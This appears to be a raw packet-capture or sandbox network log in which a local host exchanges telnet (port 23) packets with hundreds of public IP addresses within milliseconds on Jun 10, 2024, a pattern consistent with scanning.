Jun 10, 2024 15:37:59.450268984 CEST	23	26049	161.35.153.146	192.168.2.13
Jun 10, 2024 15:37:59.450273037 CEST	26049	23	192.168.2.13	54.71.67.88
Jun 10, 2024 15:37:59.450280905 CEST	23	26049	91.140.141.148	192.168.2.13
Jun 10, 2024 15:37:59.450284004 CEST	26049	23	192.168.2.13	70.141.196.112
Jun 10, 2024 15:37:59.450293064 CEST	23	26049	205.89.206.73	192.168.2.13
Jun 10, 2024 15:37:59.450304985 CEST	23	26049	42.174.136.119	192.168.2.13
Jun 10, 2024 15:37:59.450305939 CEST	26049	23	192.168.2.13	91.140.141.148
Jun 10, 2024 15:37:59.450311899 CEST	26049	23	192.168.2.13	161.35.153.146
Jun 10, 2024 15:37:59.450316906 CEST	23	26049	144.241.66.196	192.168.2.13
Jun 10, 2024 15:37:59.450318098 CEST	26049	23	192.168.2.13	115.94.32.50
Jun 10, 2024 15:37:59.450318098 CEST	26049	23	192.168.2.13	205.89.206.73
Jun 10, 2024 15:37:59.450329065 CEST	23	26049	142.16.24.104	192.168.2.13
Jun 10, 2024 15:37:59.450331926 CEST	26049	23	192.168.2.13	42.174.136.119
Jun 10, 2024 15:37:59.450349092 CEST	26049	23	192.168.2.13	144.241.66.196
Jun 10, 2024 15:37:59.450352907 CEST	23	26049	195.58.227.48	192.168.2.13
Jun 10, 2024 15:37:59.450366020 CEST	23	26049	27.27.117.134	192.168.2.13
Jun 10, 2024 15:37:59.450376987 CEST	23	26049	152.209.6.50	192.168.2.13
Jun 10, 2024 15:37:59.450387955 CEST	23	26049	1.224.181.219	192.168.2.13
Jun 10, 2024 15:37:59.450400114 CEST	23	26049	148.26.142.171	192.168.2.13
Jun 10, 2024 15:37:59.450411081 CEST	23	26049	188.91.70.168	192.168.2.13
Jun 10, 2024 15:37:59.450413942 CEST	26049	23	192.168.2.13	1.224.181.219
Jun 10, 2024 15:37:59.450417995 CEST	26049	23	192.168.2.13	152.209.6.50
Jun 10, 2024 15:37:59.450423002 CEST	23	26049	186.12.70.168	192.168.2.13
Jun 10, 2024 15:37:59.450431108 CEST	26049	23	192.168.2.13	148.26.142.171
Jun 10, 2024 15:37:59.450436115 CEST	23	26049	207.157.230.94	192.168.2.13
Jun 10, 2024 15:37:59.450440884 CEST	26049	23	192.168.2.13	188.91.70.168
Jun 10, 2024 15:37:59.450463057 CEST	26049	23	192.168.2.13	186.12.70.168
Jun 10, 2024 15:37:59.450468063 CEST	26049	23	192.168.2.13	207.157.230.94
Jun 10, 2024 15:37:59.450509071 CEST	26049	23	192.168.2.13	142.16.24.104
Jun 10, 2024 15:37:59.450509071 CEST	26049	23	192.168.2.13	195.58.227.48
Jun 10, 2024 15:37:59.450509071 CEST	26049	23	192.168.2.13	27.27.117.134
Jun 10, 2024 15:37:59.450644016 CEST	35654	23	192.168.2.13	51.4.201.163
Jun 10, 2024 15:37:59.450689077 CEST	23	26049	176.75.235.68	192.168.2.13
Jun 10, 2024 15:37:59.450723886 CEST	26049	23	192.168.2.13	176.75.235.68
Jun 10, 2024 15:37:59.450773954 CEST	23	26049	192.53.236.29	192.168.2.13
Jun 10, 2024 15:37:59.450788021 CEST	23	26049	38.71.42.3	192.168.2.13
Jun 10, 2024 15:37:59.450803995 CEST	26049	23	192.168.2.13	192.53.236.29
Jun 10, 2024 15:37:59.450814009 CEST	23	26049	38.208.159.7	192.168.2.13
Jun 10, 2024 15:37:59.450822115 CEST	26049	23	192.168.2.13	38.71.42.3
Jun 10, 2024 15:37:59.450825930 CEST	23	26049	160.162.115.119	192.168.2.13
Jun 10, 2024 15:37:59.450839043 CEST	23	26049	65.114.159.39	192.168.2.13
Jun 10, 2024 15:37:59.450850964 CEST	23	26049	35.117.69.214	192.168.2.13
Jun 10, 2024 15:37:59.450862885 CEST	23	26049	112.36.164.210	192.168.2.13
Jun 10, 2024 15:37:59.450875044 CEST	23	26049	148.126.94.6	192.168.2.13
Jun 10, 2024 15:37:59.450886965 CEST	23	26049	201.173.235.113	192.168.2.13
Jun 10, 2024 15:37:59.450897932 CEST	23	26049	4.126.162.11	192.168.2.13
Jun 10, 2024 15:37:59.450906038 CEST	26049	23	192.168.2.13	148.126.94.6
Jun 10, 2024 15:37:59.450910091 CEST	23	26049	36.7.56.104	192.168.2.13
Jun 10, 2024 15:37:59.450912952 CEST	26049	23	192.168.2.13	201.173.235.113
Jun 10, 2024 15:37:59.450922966 CEST	23	26049	217.155.228.226	192.168.2.13
Jun 10, 2024 15:37:59.450928926 CEST	26049	23	192.168.2.13	4.126.162.11
Jun 10, 2024 15:37:59.450934887 CEST	23	26049	136.158.165.81	192.168.2.13
Jun 10, 2024 15:37:59.450937033 CEST	26049	23	192.168.2.13	38.208.159.7
Jun 10, 2024 15:37:59.450937033 CEST	26049	23	192.168.2.13	160.162.115.119
Jun 10, 2024 15:37:59.450937033 CEST	26049	23	192.168.2.13	65.114.159.39
Jun 10, 2024 15:37:59.450937033 CEST	26049	23	192.168.2.13	35.117.69.214
Jun 10, 2024 15:37:59.450937033 CEST	26049	23	192.168.2.13	112.36.164.210
Jun 10, 2024 15:37:59.450943947 CEST	26049	23	192.168.2.13	36.7.56.104
Jun 10, 2024 15:37:59.450947046 CEST	23	26049	144.208.44.69	192.168.2.13
Jun 10, 2024 15:37:59.450949907 CEST	26049	23	192.168.2.13	217.155.228.226
Jun 10, 2024 15:37:59.450959921 CEST	23	26049	119.156.103.106	192.168.2.13
Jun 10, 2024 15:37:59.450972080 CEST	23	26049	102.137.190.185	192.168.2.13
Jun 10, 2024 15:37:59.450978994 CEST	26049	23	192.168.2.13	136.158.165.81
Jun 10, 2024 15:37:59.450978994 CEST	26049	23	192.168.2.13	144.208.44.69
Jun 10, 2024 15:37:59.450983047 CEST	23	26049	222.32.106.198	192.168.2.13
Jun 10, 2024 15:37:59.450993061 CEST	26049	23	192.168.2.13	119.156.103.106
Jun 10, 2024 15:37:59.450995922 CEST	23	26049	31.84.250.99	192.168.2.13
Jun 10, 2024 15:37:59.451009035 CEST	23	26049	178.223.219.96	192.168.2.13
Jun 10, 2024 15:37:59.451009989 CEST	26049	23	192.168.2.13	222.32.106.198
Jun 10, 2024 15:37:59.451009989 CEST	26049	23	192.168.2.13	102.137.190.185
Jun 10, 2024 15:37:59.451020956 CEST	23	26049	174.14.11.42	192.168.2.13
Jun 10, 2024 15:37:59.451026917 CEST	26049	23	192.168.2.13	31.84.250.99
Jun 10, 2024 15:37:59.451034069 CEST	23	26049	143.39.67.142	192.168.2.13
Jun 10, 2024 15:37:59.451041937 CEST	26049	23	192.168.2.13	178.223.219.96
Jun 10, 2024 15:37:59.451041937 CEST	26049	23	192.168.2.13	174.14.11.42
Jun 10, 2024 15:37:59.451046944 CEST	23	26049	57.141.247.161	192.168.2.13
Jun 10, 2024 15:37:59.451059103 CEST	23	26049	89.108.104.96	192.168.2.13
Jun 10, 2024 15:37:59.451071024 CEST	23	26049	53.132.108.160	192.168.2.13
Jun 10, 2024 15:37:59.451073885 CEST	26049	23	192.168.2.13	143.39.67.142
Jun 10, 2024 15:37:59.451080084 CEST	26049	23	192.168.2.13	57.141.247.161
Jun 10, 2024 15:37:59.451085091 CEST	23	26049	146.108.177.142	192.168.2.13
Jun 10, 2024 15:37:59.451092958 CEST	26049	23	192.168.2.13	89.108.104.96
Jun 10, 2024 15:37:59.451097012 CEST	23	26049	182.61.47.81	192.168.2.13
Jun 10, 2024 15:37:59.451108932 CEST	23	26049	176.184.138.236	192.168.2.13
Jun 10, 2024 15:37:59.451118946 CEST	26049	23	192.168.2.13	146.108.177.142
Jun 10, 2024 15:37:59.451138973 CEST	26049	23	192.168.2.13	182.61.47.81
Jun 10, 2024 15:37:59.451179981 CEST	26049	23	192.168.2.13	53.132.108.160
Jun 10, 2024 15:37:59.451183081 CEST	26049	23	192.168.2.13	176.184.138.236
Jun 10, 2024 15:37:59.451219082 CEST	23	26049	24.16.16.164	192.168.2.13
Jun 10, 2024 15:37:59.451232910 CEST	23	26049	79.13.23.236	192.168.2.13
Jun 10, 2024 15:37:59.451245070 CEST	23	26049	23.39.235.76	192.168.2.13
Jun 10, 2024 15:37:59.451256990 CEST	23	26049	154.8.116.165	192.168.2.13
Jun 10, 2024 15:37:59.451267958 CEST	23	26049	211.158.40.16	192.168.2.13
Jun 10, 2024 15:37:59.451273918 CEST	26049	23	192.168.2.13	23.39.235.76
Jun 10, 2024 15:37:59.451281071 CEST	23	26049	220.255.7.106	192.168.2.13
Jun 10, 2024 15:37:59.451292992 CEST	23	26049	39.146.205.61	192.168.2.13
Jun 10, 2024 15:37:59.451299906 CEST	26049	23	192.168.2.13	211.158.40.16
Jun 10, 2024 15:37:59.451304913 CEST	23	26049	110.36.158.210	192.168.2.13
Jun 10, 2024 15:37:59.451316118 CEST	23	26049	71.180.89.196	192.168.2.13
Jun 10, 2024 15:37:59.451325893 CEST	26049	23	192.168.2.13	220.255.7.106
Jun 10, 2024 15:37:59.451332092 CEST	26049	23	192.168.2.13	39.146.205.61
Jun 10, 2024 15:37:59.451338053 CEST	26049	23	192.168.2.13	110.36.158.210
Jun 10, 2024 15:37:59.451340914 CEST	23	26049	188.254.69.141	192.168.2.13
Jun 10, 2024 15:37:59.451344967 CEST	26049	23	192.168.2.13	71.180.89.196
Jun 10, 2024 15:37:59.451354027 CEST	23	26049	54.20.124.153	192.168.2.13
Jun 10, 2024 15:37:59.451364994 CEST	23	26049	169.27.218.156	192.168.2.13
Jun 10, 2024 15:37:59.451373100 CEST	26049	23	192.168.2.13	188.254.69.141
Jun 10, 2024 15:37:59.451376915 CEST	23	26049	179.142.51.174	192.168.2.13
Jun 10, 2024 15:37:59.451387882 CEST	26049	23	192.168.2.13	54.20.124.153
Jun 10, 2024 15:37:59.451387882 CEST	23	26049	171.167.254.49	192.168.2.13
Jun 10, 2024 15:37:59.451402903 CEST	23	26049	195.110.221.117	192.168.2.13
Jun 10, 2024 15:37:59.451409101 CEST	26049	23	192.168.2.13	169.27.218.156
Jun 10, 2024 15:37:59.451409101 CEST	26049	23	192.168.2.13	179.142.51.174
Jun 10, 2024 15:37:59.451415062 CEST	23	26049	188.91.92.210	192.168.2.13
Jun 10, 2024 15:37:59.451416969 CEST	26049	23	192.168.2.13	24.16.16.164
Jun 10, 2024 15:37:59.451416969 CEST	26049	23	192.168.2.13	79.13.23.236
Jun 10, 2024 15:37:59.451416969 CEST	26049	23	192.168.2.13	154.8.116.165
Jun 10, 2024 15:37:59.451422930 CEST	26049	23	192.168.2.13	171.167.254.49
Jun 10, 2024 15:37:59.451427937 CEST	23	26049	66.216.47.203	192.168.2.13
Jun 10, 2024 15:37:59.451440096 CEST	23	26049	172.189.66.30	192.168.2.13
Jun 10, 2024 15:37:59.451442957 CEST	26049	23	192.168.2.13	195.110.221.117
Jun 10, 2024 15:37:59.451452017 CEST	23	26049	210.130.169.147	192.168.2.13
Jun 10, 2024 15:37:59.451457024 CEST	26049	23	192.168.2.13	188.91.92.210
Jun 10, 2024 15:37:59.451457024 CEST	26049	23	192.168.2.13	66.216.47.203
Jun 10, 2024 15:37:59.451464891 CEST	23	26049	104.12.118.187	192.168.2.13
Jun 10, 2024 15:37:59.451478004 CEST	23	26049	144.219.188.204	192.168.2.13
Jun 10, 2024 15:37:59.451482058 CEST	26049	23	192.168.2.13	172.189.66.30
Jun 10, 2024 15:37:59.451483965 CEST	26049	23	192.168.2.13	210.130.169.147
Jun 10, 2024 15:37:59.451489925 CEST	23	26049	141.161.32.192	192.168.2.13
Jun 10, 2024 15:37:59.451492071 CEST	26049	23	192.168.2.13	104.12.118.187
Jun 10, 2024 15:37:59.451503038 CEST	23	26049	124.136.46.180	192.168.2.13
Jun 10, 2024 15:37:59.451509953 CEST	26049	23	192.168.2.13	144.219.188.204
Jun 10, 2024 15:37:59.451514006 CEST	23	26049	207.87.81.238	192.168.2.13
Jun 10, 2024 15:37:59.451522112 CEST	26049	23	192.168.2.13	141.161.32.192
Jun 10, 2024 15:37:59.451525927 CEST	23	26049	42.142.210.55	192.168.2.13
Jun 10, 2024 15:37:59.451529980 CEST	26049	23	192.168.2.13	124.136.46.180
Jun 10, 2024 15:37:59.451539040 CEST	23	26049	65.238.127.161	192.168.2.13
Jun 10, 2024 15:37:59.451550961 CEST	23	26049	161.244.213.147	192.168.2.13
Jun 10, 2024 15:37:59.451561928 CEST	23	26049	44.36.148.88	192.168.2.13
Jun 10, 2024 15:37:59.451591015 CEST	26049	23	192.168.2.13	44.36.148.88
Jun 10, 2024 15:37:59.451616049 CEST	26049	23	192.168.2.13	207.87.81.238
Jun 10, 2024 15:37:59.451616049 CEST	26049	23	192.168.2.13	42.142.210.55
Jun 10, 2024 15:37:59.451616049 CEST	26049	23	192.168.2.13	65.238.127.161
Jun 10, 2024 15:37:59.451616049 CEST	26049	23	192.168.2.13	161.244.213.147
Jun 10, 2024 15:37:59.451678038 CEST	23	26049	94.116.229.110	192.168.2.13
Jun 10, 2024 15:37:59.451690912 CEST	23	26049	70.124.130.128	192.168.2.13
Jun 10, 2024 15:37:59.451703072 CEST	23	26049	183.137.251.230	192.168.2.13
Jun 10, 2024 15:37:59.451719046 CEST	26049	23	192.168.2.13	70.124.130.128
Jun 10, 2024 15:37:59.451719046 CEST	26049	23	192.168.2.13	94.116.229.110
Jun 10, 2024 15:37:59.451729059 CEST	23	26049	73.39.205.52	192.168.2.13
Jun 10, 2024 15:37:59.451731920 CEST	26049	23	192.168.2.13	183.137.251.230
Jun 10, 2024 15:37:59.451740980 CEST	23	26049	25.116.155.225	192.168.2.13
Jun 10, 2024 15:37:59.451752901 CEST	23	26049	145.40.87.37	192.168.2.13
Jun 10, 2024 15:37:59.451761961 CEST	26049	23	192.168.2.13	73.39.205.52
Jun 10, 2024 15:37:59.451766968 CEST	23	26049	150.145.181.191	192.168.2.13
Jun 10, 2024 15:37:59.451772928 CEST	26049	23	192.168.2.13	25.116.155.225
Jun 10, 2024 15:37:59.451780081 CEST	23	26049	63.196.83.231	192.168.2.13
Jun 10, 2024 15:37:59.451786995 CEST	26049	23	192.168.2.13	145.40.87.37
Jun 10, 2024 15:37:59.451792002 CEST	23	26049	66.210.104.94	192.168.2.13
Jun 10, 2024 15:37:59.451802015 CEST	26049	23	192.168.2.13	150.145.181.191
Jun 10, 2024 15:37:59.451803923 CEST	23	26049	183.39.229.162	192.168.2.13
Jun 10, 2024 15:37:59.451817989 CEST	23	26049	186.99.208.65	192.168.2.13
Jun 10, 2024 15:37:59.451827049 CEST	26049	23	192.168.2.13	66.210.104.94
Jun 10, 2024 15:37:59.451828957 CEST	23	26049	130.44.203.182	192.168.2.13
Jun 10, 2024 15:37:59.451841116 CEST	23	26049	149.235.212.12	192.168.2.13
Jun 10, 2024 15:37:59.451852083 CEST	23	26049	110.29.183.70	192.168.2.13
Jun 10, 2024 15:37:59.451868057 CEST	26049	23	192.168.2.13	149.235.212.12
Jun 10, 2024 15:37:59.451874971 CEST	23	26049	39.238.252.208	192.168.2.13
Jun 10, 2024 15:37:59.451888084 CEST	23	26049	197.129.217.101	192.168.2.13
Jun 10, 2024 15:37:59.451889038 CEST	26049	23	192.168.2.13	110.29.183.70
Jun 10, 2024 15:37:59.451894045 CEST	26049	23	192.168.2.13	63.196.83.231
Jun 10, 2024 15:37:59.451899052 CEST	23	26049	149.112.11.167	192.168.2.13
Jun 10, 2024 15:37:59.451910019 CEST	26049	23	192.168.2.13	39.238.252.208
Jun 10, 2024 15:37:59.451910973 CEST	23	26049	59.227.57.18	192.168.2.13
Jun 10, 2024 15:37:59.451919079 CEST	26049	23	192.168.2.13	197.129.217.101
Jun 10, 2024 15:37:59.451924086 CEST	23	26049	20.104.198.247	192.168.2.13
Jun 10, 2024 15:37:59.451935053 CEST	23	26049	35.27.224.72	192.168.2.13
Jun 10, 2024 15:37:59.451941013 CEST	26049	23	192.168.2.13	149.112.11.167
Jun 10, 2024 15:37:59.451941013 CEST	26049	23	192.168.2.13	59.227.57.18
Jun 10, 2024 15:37:59.451946020 CEST	23	26049	117.176.89.80	192.168.2.13
Jun 10, 2024 15:37:59.451957941 CEST	23	26049	141.50.135.145	192.168.2.13
Jun 10, 2024 15:37:59.451968908 CEST	23	26049	44.160.5.101	192.168.2.13
Jun 10, 2024 15:37:59.451973915 CEST	26049	23	192.168.2.13	117.176.89.80
Jun 10, 2024 15:37:59.451981068 CEST	23	26049	177.173.115.179	192.168.2.13
Jun 10, 2024 15:37:59.451992989 CEST	23	26049	72.54.224.98	192.168.2.13
Jun 10, 2024 15:37:59.451997042 CEST	26049	23	192.168.2.13	183.39.229.162
Jun 10, 2024 15:37:59.451997042 CEST	26049	23	192.168.2.13	141.50.135.145
Jun 10, 2024 15:37:59.451997042 CEST	26049	23	192.168.2.13	186.99.208.65
Jun 10, 2024 15:37:59.451997042 CEST	26049	23	192.168.2.13	130.44.203.182
Jun 10, 2024 15:37:59.451997042 CEST	26049	23	192.168.2.13	35.27.224.72
Jun 10, 2024 15:37:59.452004910 CEST	23	26049	193.194.57.193	192.168.2.13
Jun 10, 2024 15:37:59.452009916 CEST	26049	23	192.168.2.13	44.160.5.101
Jun 10, 2024 15:37:59.452011108 CEST	26049	23	192.168.2.13	177.173.115.179
Jun 10, 2024 15:37:59.452023029 CEST	23	26049	114.21.44.76	192.168.2.13
Jun 10, 2024 15:37:59.452025890 CEST	26049	23	192.168.2.13	72.54.224.98
Jun 10, 2024 15:37:59.452034950 CEST	23	26049	185.238.35.227	192.168.2.13
Jun 10, 2024 15:37:59.452054977 CEST	26049	23	192.168.2.13	114.21.44.76
Jun 10, 2024 15:37:59.452068090 CEST	26049	23	192.168.2.13	185.238.35.227
Jun 10, 2024 15:37:59.452095985 CEST	26049	23	192.168.2.13	20.104.198.247
Jun 10, 2024 15:37:59.452111006 CEST	26049	23	192.168.2.13	193.194.57.193
Jun 10, 2024 15:37:59.452130079 CEST	52168	23	192.168.2.13	96.177.106.95
Jun 10, 2024 15:37:59.452200890 CEST	23	26049	193.90.26.1	192.168.2.13
Jun 10, 2024 15:37:59.452248096 CEST	26049	23	192.168.2.13	193.90.26.1
Jun 10, 2024 15:37:59.452269077 CEST	23	26049	73.88.21.117	192.168.2.13
Jun 10, 2024 15:37:59.452287912 CEST	23	26049	46.144.11.81	192.168.2.13
Jun 10, 2024 15:37:59.452307940 CEST	26049	23	192.168.2.13	73.88.21.117
Jun 10, 2024 15:37:59.452315092 CEST	26049	23	192.168.2.13	46.144.11.81
Jun 10, 2024 15:37:59.452320099 CEST	23	26049	112.213.100.234	192.168.2.13
Jun 10, 2024 15:37:59.452332973 CEST	23	26049	208.172.7.58	192.168.2.13
Jun 10, 2024 15:37:59.452346087 CEST	23	26049	205.116.27.184	192.168.2.13
Jun 10, 2024 15:37:59.452358007 CEST	23	26049	176.224.115.69	192.168.2.13
Jun 10, 2024 15:37:59.452358007 CEST	26049	23	192.168.2.13	112.213.100.234
Jun 10, 2024 15:37:59.452368975 CEST	23	26049	199.244.5.149	192.168.2.13
Jun 10, 2024 15:37:59.452369928 CEST	26049	23	192.168.2.13	208.172.7.58
Jun 10, 2024 15:37:59.452373028 CEST	26049	23	192.168.2.13	205.116.27.184
Jun 10, 2024 15:37:59.452382088 CEST	23	26049	201.234.17.140	192.168.2.13
Jun 10, 2024 15:37:59.452392101 CEST	26049	23	192.168.2.13	176.224.115.69
Jun 10, 2024 15:37:59.452406883 CEST	23	26049	70.219.203.54	192.168.2.13
Jun 10, 2024 15:37:59.452409983 CEST	26049	23	192.168.2.13	201.234.17.140
Jun 10, 2024 15:37:59.452413082 CEST	26049	23	192.168.2.13	199.244.5.149
Jun 10, 2024 15:37:59.452419996 CEST	23	26049	54.23.123.160	192.168.2.13
Jun 10, 2024 15:37:59.452430964 CEST	23	26049	146.242.141.253	192.168.2.13
Jun 10, 2024 15:37:59.452442884 CEST	23	26049	203.163.105.218	192.168.2.13
Jun 10, 2024 15:37:59.452442884 CEST	26049	23	192.168.2.13	70.219.203.54
Jun 10, 2024 15:37:59.452455997 CEST	23	26049	220.222.68.86	192.168.2.13
Jun 10, 2024 15:37:59.452455997 CEST	26049	23	192.168.2.13	54.23.123.160
Jun 10, 2024 15:37:59.452466965 CEST	23	26049	184.142.6.165	192.168.2.13
Jun 10, 2024 15:37:59.452478886 CEST	23	26049	27.183.77.57	192.168.2.13
Jun 10, 2024 15:37:59.452491999 CEST	26049	23	192.168.2.13	146.242.141.253
Jun 10, 2024 15:37:59.452497005 CEST	26049	23	192.168.2.13	184.142.6.165
Jun 10, 2024 15:37:59.452501059 CEST	26049	23	192.168.2.13	220.222.68.86
Jun 10, 2024 15:37:59.452503920 CEST	23	26049	39.165.216.141	192.168.2.13
Jun 10, 2024 15:37:59.452507019 CEST	26049	23	192.168.2.13	203.163.105.218
Jun 10, 2024 15:37:59.452512980 CEST	26049	23	192.168.2.13	27.183.77.57
Jun 10, 2024 15:37:59.452517986 CEST	23	26049	223.148.255.44	192.168.2.13
Jun 10, 2024 15:37:59.452529907 CEST	23	26049	49.109.181.36	192.168.2.13
Jun 10, 2024 15:37:59.452539921 CEST	26049	23	192.168.2.13	39.165.216.141
Jun 10, 2024 15:37:59.452542067 CEST	23	26049	143.31.135.119	192.168.2.13
Jun 10, 2024 15:37:59.452549934 CEST	26049	23	192.168.2.13	223.148.255.44
Jun 10, 2024 15:37:59.452553988 CEST	23	26049	89.23.30.238	192.168.2.13
Jun 10, 2024 15:37:59.452560902 CEST	26049	23	192.168.2.13	49.109.181.36
Jun 10, 2024 15:37:59.452565908 CEST	23	26049	69.60.187.117	192.168.2.13
Jun 10, 2024 15:37:59.452569962 CEST	26049	23	192.168.2.13	143.31.135.119
Jun 10, 2024 15:37:59.452579021 CEST	23	26049	204.15.95.54	192.168.2.13
Jun 10, 2024 15:37:59.452585936 CEST	26049	23	192.168.2.13	89.23.30.238
Jun 10, 2024 15:37:59.452594042 CEST	23	26049	142.94.111.135	192.168.2.13
Jun 10, 2024 15:37:59.452599049 CEST	26049	23	192.168.2.13	69.60.187.117
Jun 10, 2024 15:37:59.452606916 CEST	26049	23	192.168.2.13	204.15.95.54
Jun 10, 2024 15:37:59.452608109 CEST	23	26049	149.191.171.40	192.168.2.13
Jun 10, 2024 15:37:59.452620983 CEST	23	26049	190.198.114.129	192.168.2.13
Jun 10, 2024 15:37:59.452621937 CEST	26049	23	192.168.2.13	142.94.111.135
Jun 10, 2024 15:37:59.452631950 CEST	23	26049	210.195.21.53	192.168.2.13
Jun 10, 2024 15:37:59.452637911 CEST	26049	23	192.168.2.13	149.191.171.40
Jun 10, 2024 15:37:59.452644110 CEST	23	26049	216.1.160.82	192.168.2.13
Jun 10, 2024 15:37:59.452666044 CEST	26049	23	192.168.2.13	190.198.114.129
Jun 10, 2024 15:37:59.452666044 CEST	26049	23	192.168.2.13	210.195.21.53
Jun 10, 2024 15:37:59.452672005 CEST	26049	23	192.168.2.13	216.1.160.82
Jun 10, 2024 15:37:59.452922106 CEST	23	26049	193.212.107.154	192.168.2.13
Jun 10, 2024 15:37:59.452934980 CEST	23	26049	39.113.35.211	192.168.2.13
Jun 10, 2024 15:37:59.452950001 CEST	23	26049	121.137.248.156	192.168.2.13
Jun 10, 2024 15:37:59.452953100 CEST	26049	23	192.168.2.13	193.212.107.154
Jun 10, 2024 15:37:59.452963114 CEST	23	26049	60.112.33.110	192.168.2.13
Jun 10, 2024 15:37:59.452970982 CEST	26049	23	192.168.2.13	39.113.35.211
Jun 10, 2024 15:37:59.452975035 CEST	23	26049	128.190.50.252	192.168.2.13
Jun 10, 2024 15:37:59.452975988 CEST	26049	23	192.168.2.13	121.137.248.156
Jun 10, 2024 15:37:59.452994108 CEST	26049	23	192.168.2.13	60.112.33.110
Jun 10, 2024 15:37:59.452999115 CEST	23	26049	71.248.118.114	192.168.2.13
Jun 10, 2024 15:37:59.453010082 CEST	26049	23	192.168.2.13	128.190.50.252
Jun 10, 2024 15:37:59.453012943 CEST	23	26049	126.247.118.173	192.168.2.13
Jun 10, 2024 15:37:59.453026056 CEST	23	26049	193.154.21.10	192.168.2.13
Jun 10, 2024 15:37:59.453037977 CEST	23	26049	161.176.190.193	192.168.2.13
Jun 10, 2024 15:37:59.453039885 CEST	26049	23	192.168.2.13	71.248.118.114
Jun 10, 2024 15:37:59.453049898 CEST	23	26049	176.213.168.170	192.168.2.13
Jun 10, 2024 15:37:59.453061104 CEST	26049	23	192.168.2.13	126.247.118.173
Jun 10, 2024 15:37:59.453062057 CEST	23	26049	218.154.124.184	192.168.2.13
Jun 10, 2024 15:37:59.453063011 CEST	26049	23	192.168.2.13	193.154.21.10
Jun 10, 2024 15:37:59.453063965 CEST	26049	23	192.168.2.13	161.176.190.193
Jun 10, 2024 15:37:59.453074932 CEST	23	26049	175.34.54.32	192.168.2.13
Jun 10, 2024 15:37:59.453077078 CEST	26049	23	192.168.2.13	176.213.168.170
Jun 10, 2024 15:37:59.453088999 CEST	23	26049	181.42.196.117	192.168.2.13
Jun 10, 2024 15:37:59.453092098 CEST	26049	23	192.168.2.13	218.154.124.184
Jun 10, 2024 15:37:59.453110933 CEST	26049	23	192.168.2.13	175.34.54.32
Jun 10, 2024 15:37:59.453113079 CEST	23	26049	140.126.233.49	192.168.2.13
Jun 10, 2024 15:37:59.453116894 CEST	26049	23	192.168.2.13	181.42.196.117
Jun 10, 2024 15:37:59.453125000 CEST	23	26049	108.208.251.156	192.168.2.13
Jun 10, 2024 15:37:59.453136921 CEST	23	26049	113.206.242.56	192.168.2.13
Jun 10, 2024 15:37:59.453144073 CEST	26049	23	192.168.2.13	140.126.233.49
Jun 10, 2024 15:37:59.453147888 CEST	23	26049	139.250.152.27	192.168.2.13
Jun 10, 2024 15:37:59.453160048 CEST	26049	23	192.168.2.13	108.208.251.156
Jun 10, 2024 15:37:59.453161001 CEST	23	26049	70.192.121.43	192.168.2.13
Jun 10, 2024 15:37:59.453171968 CEST	23	26049	154.14.14.101	192.168.2.13
Jun 10, 2024 15:37:59.453182936 CEST	26049	23	192.168.2.13	113.206.242.56
Jun 10, 2024 15:37:59.453183889 CEST	23	26049	196.95.67.62	192.168.2.13
Jun 10, 2024 15:37:59.453182936 CEST	26049	23	192.168.2.13	139.250.152.27
Jun 10, 2024 15:37:59.453190088 CEST	26049	23	192.168.2.13	70.192.121.43
Jun 10, 2024 15:37:59.453196049 CEST	23	26049	132.10.31.25	192.168.2.13
Jun 10, 2024 15:37:59.453208923 CEST	26049	23	192.168.2.13	154.14.14.101
Jun 10, 2024 15:37:59.453210115 CEST	23	26049	212.242.133.173	192.168.2.13
Jun 10, 2024 15:37:59.453216076 CEST	26049	23	192.168.2.13	196.95.67.62
Jun 10, 2024 15:37:59.453223944 CEST	23	26049	193.16.76.216	192.168.2.13
Jun 10, 2024 15:37:59.453224897 CEST	26049	23	192.168.2.13	132.10.31.25
Jun 10, 2024 15:37:59.453236103 CEST	23	26049	160.166.52.114	192.168.2.13
Jun 10, 2024 15:37:59.453238964 CEST	26049	23	192.168.2.13	212.242.133.173
Jun 10, 2024 15:37:59.453248978 CEST	23	26049	36.118.125.200	192.168.2.13
Jun 10, 2024 15:37:59.453255892 CEST	26049	23	192.168.2.13	193.16.76.216
Jun 10, 2024 15:37:59.453262091 CEST	23	26049	9.63.28.159	192.168.2.13
Jun 10, 2024 15:37:59.453273058 CEST	26049	23	192.168.2.13	160.166.52.114
Jun 10, 2024 15:37:59.453274965 CEST	23	26049	143.207.24.192	192.168.2.13
Jun 10, 2024 15:37:59.453282118 CEST	26049	23	192.168.2.13	36.118.125.200
Jun 10, 2024 15:37:59.453286886 CEST	23	26049	151.146.207.230	192.168.2.13
Jun 10, 2024 15:37:59.453330040 CEST	26049	23	192.168.2.13	9.63.28.159
Jun 10, 2024 15:37:59.453330040 CEST	26049	23	192.168.2.13	143.207.24.192
Jun 10, 2024 15:37:59.453330040 CEST	26049	23	192.168.2.13	151.146.207.230
Jun 10, 2024 15:37:59.453345060 CEST	43594	23	192.168.2.13	32.204.162.123
Jun 10, 2024 15:37:59.453742981 CEST	23	26049	164.250.87.148	192.168.2.13
Jun 10, 2024 15:37:59.453756094 CEST	23	26049	119.87.92.132	192.168.2.13
Jun 10, 2024 15:37:59.453767061 CEST	23	26049	166.200.147.203	192.168.2.13
Jun 10, 2024 15:37:59.453778028 CEST	26049	23	192.168.2.13	164.250.87.148
Jun 10, 2024 15:37:59.453790903 CEST	26049	23	192.168.2.13	119.87.92.132
Jun 10, 2024 15:37:59.453802109 CEST	26049	23	192.168.2.13	166.200.147.203
Jun 10, 2024 15:37:59.453804970 CEST	23	26049	142.149.64.90	192.168.2.13
Jun 10, 2024 15:37:59.453818083 CEST	23	26049	35.89.121.97	192.168.2.13
Jun 10, 2024 15:37:59.453830957 CEST	23	26049	9.55.70.52	192.168.2.13
Jun 10, 2024 15:37:59.453849077 CEST	26049	23	192.168.2.13	35.89.121.97
Jun 10, 2024 15:37:59.453866959 CEST	26049	23	192.168.2.13	142.149.64.90
Jun 10, 2024 15:37:59.453869104 CEST	23	26049	88.108.27.28	192.168.2.13
Jun 10, 2024 15:37:59.453874111 CEST	26049	23	192.168.2.13	9.55.70.52
Jun 10, 2024 15:37:59.453881979 CEST	23	26049	2.93.68.148	192.168.2.13
Jun 10, 2024 15:37:59.453893900 CEST	23	26049	115.4.98.16	192.168.2.13
Jun 10, 2024 15:37:59.453906059 CEST	23	26049	64.241.245.86	192.168.2.13
Jun 10, 2024 15:37:59.453912973 CEST	26049	23	192.168.2.13	88.108.27.28
Jun 10, 2024 15:37:59.453912973 CEST	26049	23	192.168.2.13	2.93.68.148
Jun 10, 2024 15:37:59.453917980 CEST	23	26049	4.118.0.210	192.168.2.13
